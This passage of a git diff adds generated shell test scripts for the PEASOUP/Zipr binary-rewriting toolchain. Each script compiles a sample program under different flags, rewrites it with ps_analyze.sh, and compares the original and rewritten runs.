+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5f7de1c66ec6874be3092652ad3c4c4af1619638
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..72faf083c108a95c9e2dc1504e111b993f4c7461
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..831c32f8273516e728ac420c79c9cd6f9e292f74
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4d0fd080efd56f068fb4b0cdc6208fd89eeda18b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d711996e6ce85d7d1d8477074f181fc7e72dbf99
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8e87184ed96752c88264385dbe5392b705c06521
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
